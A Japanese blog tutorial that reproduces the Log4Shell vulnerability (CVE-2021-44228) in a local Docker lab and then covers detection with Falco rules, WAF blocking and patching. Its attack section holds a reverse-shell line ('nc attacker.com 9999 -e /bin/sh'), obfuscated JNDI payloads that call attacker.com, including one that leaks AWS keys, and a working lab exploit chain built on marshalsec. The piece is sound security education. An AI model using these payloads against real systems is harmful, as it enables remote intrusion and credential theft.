Log4Shell (CVE-2021-44228) を手元で再現する - Docker完全検証環境

はじめに

2021年12月、IT業界を震撼させたLog4Shell（CVE-2021-44228） は、Java向けロギングライブラリ「Apache Log4j」に存在した深刻な脆弱性です。CVSS スコア**10.0（最高値）**を記録し、世界中の何百万ものシステムが影響を受けました。

本記事では、Log4Shellの脅威を理解し、ローカルのDocker環境で安全に再現する方法を解説します。実際に攻撃を体験することで、この脆弱性の深刻さと対策の重要性を学べます。

⚠️ 重要な注意事項

この記事は教育目的のみです。

本番環境では絶対に実行しないでください
他人のシステムに対する攻撃は違法です
自分が管理するローカル環境でのみ実施してください

対象読者

Log4Shellの脅威を理解したいエンジニア
セキュリティ脆弱性を実際に体験したい方
脆弱性診断やペネトレーションテストに興味がある方
DevSecOpsに携わる方

この記事で学べること

Log4Shellの仕組みと攻撃手法
Docker環境での安全な検証方法
JNDI Injection攻撃の実践
脆弱性の修正方法
Sysdigによるランタイム検出

1. Log4Shellとは

概要

Log4Shell (CVE-2021-44228) は、Apache Log4j 2ライブラリに存在したリモートコード実行（RCE: Remote Code Execution）の脆弱性です。

基本情報:

CVE ID: CVE-2021-44228
CVSS スコア: 10.0 (Critical)
影響: リモートコード実行
発見日: 2021年12月9日
影響を受けるバージョン: Log4j 2.0-beta9 ~ 2.14.1

なぜこれほど深刻だったのか？

┌──────────────────────────────────────────────────────┐
│  Log4Shellが深刻だった理由                            │
├──────────────────────────────────────────────────────┤
│  1. 広範な影響                                        │
│     • Log4jは世界中で使用されている                   │
│     • Apacheエコシステム全体に影響                    │
│     • Minecraft、iCloud、Steamなども影響              │
│                                                      │
│  2. 攻撃の容易さ                                      │
│     • 単純な文字列だけで攻撃可能                      │
│     • 認証不要                                        │
│     • 1行のcurlコマンドで攻撃できる                   │
│                                                      │
│  3. 検出の困難さ                                      │
│     • ログにしか現れない                              │
│     • 従来のセキュリティツールでは検出困難            │
│     • サプライチェーン全体の調査が必要                │
│                                                      │
│  4. 修正の複雑さ                                      │
│     • 依存関係が深い                                  │
│     • ライブラリの特定が困難                          │
│     • すべてのシステムの洗い出しが必要                │
└──────────────────────────────────────────────────────┘

実際の被害

Microsoft: Azure環境への侵入試行
Apple: iCloudへの攻撃
Tesla: 内部システムへの侵入試行
Steam: ゲームプラットフォームへの攻撃
Minecraft: 大規模な攻撃（数百万回の攻撃試行）

2. 攻撃の仕組み

JNDI Injection攻撃

Log4Shellは JNDI (Java Naming and Directory Interface) Injection 攻撃を利用します。

攻撃フロー全体図

┌─────────────────────────────────────────────────────────────┐
│  攻撃の流れ                                                  │
└─────────────────────────────────────────────────────────────┘

1. 攻撃者がペイロードを送信
   ┌──────────────────────────────────────────┐
   │  curl -H 'User-Agent:                    │
   │    ${jndi:ldap://attacker.com/Evil}'     │
   │  http://victim.com                       │
   └──────────────────────────────────────────┘
                ↓

2. 脆弱なサーバーがリクエストを受信
   ┌──────────────────────────────────────────┐
   │  logger.info("User-Agent: {}", userAgent)│
   │  ← ここでLog4jがJNDI文字列を処理         │
   └──────────────────────────────────────────┘
                ↓

3. Log4jがJNDI Lookupを実行
   ┌──────────────────────────────────────────┐
   │  ${jndi:ldap://attacker.com/Evil}        │
   │  ↓                                       │
   │  LDAPサーバーに接続                       │
   └──────────────────────────────────────────┘
                ↓

4. 攻撃者のLDAPサーバーが応答
   ┌──────────────────────────────────────────┐
   │  "Evil.classをダウンロードしてください"   │
   │  Location: http://attacker.com/Evil.class│
   └──────────────────────────────────────────┘
                ↓

5. 脆弱なサーバーがEvil.classをダウンロード
   ┌──────────────────────────────────────────┐
   │  wget http://attacker.com/Evil.class     │
   └──────────────────────────────────────────┘
                ↓

6. Evil.classが実行される
   ┌──────────────────────────────────────────┐
   │  public class Evil {                     │
   │    static {                              │
   │      Runtime.getRuntime().exec(          │
   │        "nc attacker.com 9999 -e /bin/sh" │
   │      );                                  │
   │    }                                     │
   │  }                                       │
   └──────────────────────────────────────────┘
                ↓

7. 攻撃者がシェルを取得
   ┌──────────────────────────────────────────┐
   │  $ whoami                                │
   │  root                                    │
   │  $ ls                                    │
   │  database.db  passwords.txt  ...         │
   └──────────────────────────────────────────┘

ペイロードの例

# 基本的なペイロード
${jndi:ldap://attacker.com/Evil}

# 難読化されたペイロード
${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/Evil}

# ネストされたペイロード
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/Evil}

# 環境変数を使ったペイロード
${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.attacker.com/Evil}

どこで発動するか？

Log4jがログに記録するあらゆる場所:

// 1. HTTPヘッダー
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
logger.info("X-Forwarded-For: {}", request.getHeader("X-Forwarded-For"));

// 2. クエリパラメータ
logger.info("Search query: {}", request.getParameter("q"));

// 3. POSTデータ
logger.info("Username: {}", username);

// 4. エラーメッセージ
logger.error("Login failed for user: {}", username);

// 5. APIレスポンス
logger.info("API response: {}", apiResponse);

3. 検証環境の構築

前提条件

Docker Desktop インストール済み
Docker Compose インストール済み
基本的なコマンドライン知識

アーキテクチャ

┌─────────────────────────────────────────────────────┐
│  Docker環境                                          │
├─────────────────────────────────────────────────────┤
│                                                     │
│  [vulnerable-app]       ポート: 8080                │
│  • Log4j 2.14.1 (脆弱)                              │
│  • 簡易Webサーバー                                   │
│  • User-Agentをログに記録                            │
│                                                     │
│  [ldap-server]          ポート: 1389, 8888          │
│  • marshalsec（JNDI攻撃ツール）                      │
│  • LDAPサーバー                                      │
│  • HTTPサーバー（Evil.class配信）                    │
│                                                     │
│  [attacker]             ポート: 9999                │
│  • netcat（リバースシェル受信）                      │
│                                                     │
└─────────────────────────────────────────────────────┘

ディレクトリ構成

log4shell-local-poc/
├── docker-compose.yml
├── vulnerable-app/
│   ├── Dockerfile
│   ├── VulnerableApp.java
│   └── log4j2.xml
├── ldap-server/
│   ├── Dockerfile
│   ├── Exploit.java
│   └── start.sh
└── README.md

ファイルの作成

1. docker-compose.yml

version: '3.8'

services:
  # 脆弱なLog4jアプリケーション（被害者）
  vulnerable-app:
    build:
      context: ./vulnerable-app
      dockerfile: Dockerfile
    container_name: log4shell-vulnerable
    ports:
      - "8080:8080"
    networks:
      - poc-network
    environment:
      - JAVA_OPTS=-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

  # LDAP攻撃サーバー
  ldap-server:
    build:
      context: ./ldap-server
      dockerfile: Dockerfile
    container_name: log4shell-ldap
    ports:
      - "1389:1389"
      - "8888:8888"
    networks:
      - poc-network
    volumes:
      - ./ldap-server:/opt/ldap

  # 攻撃者のリスナー（リバースシェル受信）
  attacker:
    image: alpine:latest
    container_name: log4shell-attacker
    command: sh -c "apk add --no-cache netcat-openbsd && nc -lvnp 9999"
    ports:
      - "9999:9999"
    networks:
      - poc-network

networks:
  poc-network:
    driver: bridge

2. vulnerable-app/Dockerfile

FROM openjdk:8-jdk-alpine

WORKDIR /app

# 脆弱なLog4j 2.14.1をダウンロード
RUN apk add --no-cache wget && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar

# アプリケーションのコピー
COPY VulnerableApp.java /app/
COPY log4j2.xml /app/

# コンパイル
RUN javac -cp "log4j-core-2.14.1.jar:log4j-api-2.14.1.jar" VulnerableApp.java

# 実行
CMD ["java", "-cp", ".:log4j-core-2.14.1.jar:log4j-api-2.14.1.jar", "VulnerableApp"]

EXPOSE 8080

3. vulnerable-app/VulnerableApp.java

import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;

public class VulnerableApp {
    private static final Logger logger = LogManager.getLogger(VulnerableApp.class);

    public static void main(String[] args) throws IOException {
        HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);

        server.createContext("/", new HttpHandler() {
            @Override
            public void handle(HttpExchange exchange) throws IOException {
                // User-Agentヘッダーをログに記録（脆弱なポイント）
                String userAgent = exchange.getRequestHeaders().getFirst("User-Agent");
                String xForwardedFor = exchange.getRequestHeaders().getFirst("X-Forwarded-For");

                // ⚠️ ここでLog4Shellの脆弱性が発動する
                logger.info("Received request from User-Agent: {}", userAgent);
                logger.info("X-Forwarded-For: {}", xForwardedFor);

                String response = "Hello! Your request has been logged.\\n";
                response += "User-Agent: " + userAgent + "\\n";
                response += "X-Forwarded-For: " + xForwardedFor + "\\n";

                exchange.sendResponseHeaders(200, response.length());
                OutputStream os = exchange.getResponseBody();
                os.write(response.getBytes());
                os.close();
            }
        });

        server.setExecutor(null);
        logger.info("Starting vulnerable Log4j server on port 8080...");
        System.out.println("🔓 Vulnerable Log4j server started on http://localhost:8080");
        System.out.println("⚠️  Log4j version: 2.14.1 (VULNERABLE to CVE-2021-44228)");
        server.start();
    }
}

4. vulnerable-app/log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

5. ldap-server/Dockerfile

FROM openjdk:8-jdk-alpine

WORKDIR /opt/ldap

# 必要なツールをインストール
RUN apk add --no-cache wget python3 git maven

# marshalsec（JNDI攻撃ツール）をビルド
RUN git clone https://github.com/mbechler/marshalsec.git /tmp/marshalsec && \
    cd /tmp/marshalsec && \
    mvn clean package -DskipTests && \
    cp target/marshalsec-*-SNAPSHOT-all.jar /opt/ldap/marshalsec.jar

# 悪意のあるペイロードクラス
COPY Exploit.java /opt/ldap/
RUN javac Exploit.java

# 起動スクリプト
COPY start.sh /opt/ldap/
RUN chmod +x /opt/ldap/start.sh

EXPOSE 1389 8888

CMD ["/opt/ldap/start.sh"]

6. ldap-server/Exploit.java

public class Exploit {
    static {
        try {
            // ⚠️ 実際の攻撃では、ここでリバースシェルを実行するが、
            // 教育目的なので安全なコマンドを実行
            String[] cmd = {
                "/bin/sh",
                "-c",
                "echo '[🚨 EXPLOIT] Log4Shell vulnerability exploited!' && " +
                "echo '[🚨 EXPLOIT] Hostname: '$(hostname) && " +
                "echo '[🚨 EXPLOIT] User: '$(whoami) && " +
                "echo '[🚨 EXPLOIT] This is a proof of concept.' && " +
                "echo '[🚨 EXPLOIT] In real attack, attacker would get shell access.'"
            };

            Runtime.getRuntime().exec(cmd);

            System.out.println("[LDAP SERVER] ✅ Exploit.class loaded!");
            System.out.println("[LDAP SERVER] ⚠️  In real attack, attacker would execute malicious payload here.");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

7. ldap-server/start.sh

#!/bin/sh

echo "[LDAP SERVER] 🌐 Starting HTTP server on port 8888 for serving Exploit.class..."
cd /opt/ldap
python3 -m http.server 8888 &

sleep 2

echo "[LDAP SERVER] 🔌 Starting LDAP server on port 1389..."
echo "[LDAP SERVER] ⏳ Waiting for exploit requests..."

# marshalsecでLDAPサーバーを起動
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://log4shell-ldap:8888/#Exploit" 1389

環境の起動

# ディレクトリに移動
cd log4shell-local-poc

# Docker環境を起動
docker-compose up --build -d

# ログを確認
docker-compose logs -f

期待される出力:

log4shell-vulnerable | 🔓 Vulnerable Log4j server started on http://localhost:8080
log4shell-vulnerable | ⚠️  Log4j version: 2.14.1 (VULNERABLE to CVE-2021-44228)
log4shell-ldap      | [LDAP SERVER] 🌐 Starting HTTP server on port 8888
log4shell-ldap      | [LDAP SERVER] 🔌 Starting LDAP server on port 1389
log4shell-ldap      | [LDAP SERVER] ⏳ Waiting for exploit requests...

4. 攻撃の実行

ステップ 1: 通常のリクエスト（安全確認）

curl http://localhost:8080

期待される出力:

Hello! Your request has been logged.
User-Agent: curl/7.x.x

ログ確認:

docker logs log4shell-vulnerable

21:30:15.123 [main] INFO VulnerableApp - Received request from User-Agent: curl/7.x.x

ステップ 2: Log4Shell攻撃の実行

# User-Agentヘッダーに攻撃ペイロードを挿入
curl -H 'User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}' http://localhost:8080

または：

# X-Forwarded-Forヘッダーを使った攻撃
curl -H 'X-Forwarded-For: ${jndi:ldap://log4shell-ldap:1389/Exploit}' http://localhost:8080

ステップ 3: 攻撃成功の確認

脆弱なアプリケーションのログ

docker logs log4shell-vulnerable

攻撃が成功すると以下のログが表示されます:

21:35:42.456 [main] INFO VulnerableApp - Received request from User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}
[🚨 EXPLOIT] Log4Shell vulnerability exploited!
[🚨 EXPLOIT] Hostname: a1b2c3d4e5f6
[🚨 EXPLOIT] User: root
[🚨 EXPLOIT] This is a proof of concept.
[🚨 EXPLOIT] In real attack, attacker would get shell access.

LDAPサーバーのログ

docker logs log4shell-ldap

[LDAP SERVER] ✅ Exploit.class loaded!
[LDAP SERVER] ⚠️  In real attack, attacker would execute malicious payload here.
Send LDAP reference result for Exploit redirecting to http://log4shell-ldap:8888/Exploit.class

攻撃が成功した証拠

┌───────────────────────────────────────────────────────┐
│  攻撃成功のログ                                        │
├───────────────────────────────────────────────────────┤
│                                                       │
│  1. 脆弱なアプリがJNDI文字列を受信                     │
│     ✓ User-Agent: ${jndi:ldap://...}                 │
│                                                       │
│  2. Log4jがLDAPサーバーに接続                          │
│     ✓ Connecting to log4shell-ldap:1389              │
│                                                       │
│  3. Exploit.classがダウンロードされる                  │
│     ✓ HTTP GET http://log4shell-ldap:8888/Exploit    │
│                                                       │
│  4. Exploit.classが実行される                          │
│     ✓ [EXPLOIT] Log4Shell vulnerability exploited!   │
│                                                       │
│  5. 攻撃者がシステム情報を取得                         │
│     ✓ Hostname: a1b2c3d4e5f6                         │
│     ✓ User: root                                     │
│                                                       │
└───────────────────────────────────────────────────────┘

5. Sysdigによる検出

Sysdigはランタイムでこの攻撃を検出できます。

Sysdig Falcoルール

# Log4Shell攻撃検出ルール
- rule: Log4Shell JNDI Exploit Attempt
  desc: Detect Log4Shell (CVE-2021-44228) exploitation attempt
  condition: >
    spawned_process and
    (proc.cmdline contains "jndi:ldap" or
     proc.cmdline contains "jndi:rmi" or
     proc.cmdline contains "jndi:dns" or
     proc.cmdline contains "jndi:nis")
  output: >
    Log4Shell exploit attempt detected
    (user=%user.name command=%proc.cmdline container=%container.name
     parent=%proc.pname image=%container.image.repository)
  priority: CRITICAL
  tags: [exploit, cve-2021-44228, log4shell]

- rule: Log4Shell Suspicious Java Process
  desc: Detect suspicious Java process spawning shell
  condition: >
    spawned_process and
    proc.pname = "java" and
    proc.name in (sh, bash, dash, zsh) and
    not proc.cmdline contains "maven"
  output: >
    Suspicious shell spawned from Java process (possible Log4Shell)
    (user=%user.name command=%proc.cmdline parent=%proc.pname
     container=%container.name)
  priority: WARNING
  tags: [log4shell, suspicious]

- rule: Log4Shell Network Connection to LDAP
  desc: Detect outbound LDAP connection from Java process
  condition: >
    outbound and
    fd.sport != 389 and
    fd.dport = 389 and
    proc.name = "java"
  output: >
    Java process making outbound LDAP connection (possible Log4Shell)
    (connection=%fd.name user=%user.name command=%proc.cmdline
     container=%container.name)
  priority: WARNING
  tags: [log4shell, network]

Sysdig Secureでの検出

Sysdig Secureを使用している場合、以下のイベントが検出されます:

┌──────────────────────────────────────────────────────────┐
│  Sysdig Secure - Policy Event                            │
├──────────────────────────────────────────────────────────┤
│  🔴 CRITICAL                                              │
│                                                          │
│  Policy: Log4Shell JNDI Exploit Attempt                  │
│  Rule: Log4Shell JNDI Exploit Attempt                    │
│                                                          │
│  Container: log4shell-vulnerable                         │
│  Image: log4shell-vulnerable:latest                      │
│  Process: java                                           │
│  Command: java -cp .:log4j-core-2.14.1.jar:...          │
│                                                          │
│  Details:                                                │
│  • JNDI lookup detected: jndi:ldap://log4shell-ldap:1389│
│  • Outbound connection to LDAP server                    │
│  • Suspicious class loading: Exploit.class               │
│  • Shell execution from Java process                     │
│                                                          │
│  Recommended Actions:                                    │
│  1. Isolate container immediately                        │
│  2. Collect forensic data                                │
│  3. Review logs for data exfiltration                    │
│  4. Update Log4j to 2.17.0 or later                      │
└──────────────────────────────────────────────────────────┘

6. 対策と修正

修正方法 1: Log4jのアップグレード

最も重要な対策は、Log4jを最新バージョンにアップグレードすることです。

脆弱なバージョン

Log4j 2.0-beta9 ~ 2.14.1: 脆弱
Log4j 2.15.0: 部分的修正（CVE-2021-45046）
Log4j 2.16.0: さらなる修正（CVE-2021-45105）
Log4j 2.17.0以降: 完全に修正

Dockerfileの修正

# 修正前（脆弱）
RUN wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar

# 修正後（安全）
RUN wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.17.0/log4j-core-2.17.0.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.17.0/log4j-api-2.17.0.jar

Maven/Gradleでの修正

<!-- Maven pom.xml -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>  <!-- 2.17.0以降に更新 -->
</dependency>

// Gradle build.gradle
dependencies {
    implementation 'org.apache.logging.log4j:log4j-core:2.17.0'  // 2.17.0以降に更新
}

修正方法 2: JVM起動オプション

アップグレードが即座にできない場合の緊急回避策:

# JNDI Lookupを無効化
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

または環境変数:

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

修正方法 3: log4j-core.jarの直接修正

# JndiLookup.classを削除（Log4j 2.10以降）
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

修正の確認

修正後、同じ攻撃を試してみます:

# 環境を再ビルド
docker-compose down
docker-compose up --build -d

# 攻撃を試行
curl -H 'User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}' http://localhost:8080

期待される結果（修正後）:

docker logs log4shell-vulnerable

# Log4j 2.17.0では、JNDI Lookupが実行されない
21:40:15.789 [main] INFO VulnerableApp - Received request from User-Agent: ${jndi:ldap://log4shell-ldap:1389/Exploit}
# ↑ 文字列がそのままログに記録される（実行されない）

WAFによる防御

# Nginx WAFルール
location / {
    # JNDI文字列をブロック
    if ($http_user_agent ~* "\$\{jndi:") {
        return 403;
    }
    if ($http_x_forwarded_for ~* "\$\{jndi:") {
        return 403;
    }

    proxy_pass http://backend;
}

包括的な対策チェックリスト

□ Log4jを2.17.0以降にアップグレード
□ すべての依存関係を確認（transitive依存も含む）
□ JVM起動オプションでJNDI Lookupを無効化（緊急対応）
□ WAFでJNDI文字列をブロック
□ ランタイムセキュリティ監視（Sysdig、Falco）を導入
□ 定期的な脆弱性スキャン（Snyk、Trivy）
□ インシデント対応計画の策定
□ ログ監視の強化

7. まとめ

Log4Shellから学んだこと

┌──────────────────────────────────────────────────────┐
│  Log4Shellの教訓                                      │
├──────────────────────────────────────────────────────┤
│  1. サプライチェーンリスク                            │
│     • 依存ライブラリの脆弱性は致命的                  │
│     • SBOMの重要性                                    │
│     • 依存関係の可視化が必須                          │
│                                                      │
│  2. ランタイムセキュリティの重要性                    │
│     • 静的スキャンだけでは不十分                      │
│     • ランタイム検出が必須（Sysdig、Falco）          │
│     • 異常動作の監視                                  │
│                                                      │
│  3. 迅速なパッチ適用                                  │
│     • 脆弱性公開から数時間で攻撃開始                  │
│     • 自動化されたパッチ適用プロセス                  │
│     • ロールバック計画                                │
│                                                      │
│  4. 多層防御                                          │
│     • 単一の対策に依存しない                          │
│     • WAF + ランタイム検出 + パッチ適用               │
│     • ネットワーク分離                                │
└──────────────────────────────────────────────────────┘

今後の対策

定期的な脆弱性スキャン: Snyk、Trivyを活用
ランタイムセキュリティ: Sysdig、Falcoの導入
依存関係管理: Dependabot、Renovateで自動更新
SBOM管理: ソフトウェア部品表の維持
インシデント対応訓練: 定期的な演習

クリーンアップ

# 環境の停止
docker-compose down

# イメージも削除
docker-compose down --rmi all

# ボリュームも削除
docker-compose down -v

参考リンク

この記事が役に立ったら、いいねとストックをお願いします！

質問やフィードバックがあれば、コメント欄でお気軽にどうぞ！

⚠️ 再度の注意: この環境は教育目的のみです。実際の攻撃に使用しないでください。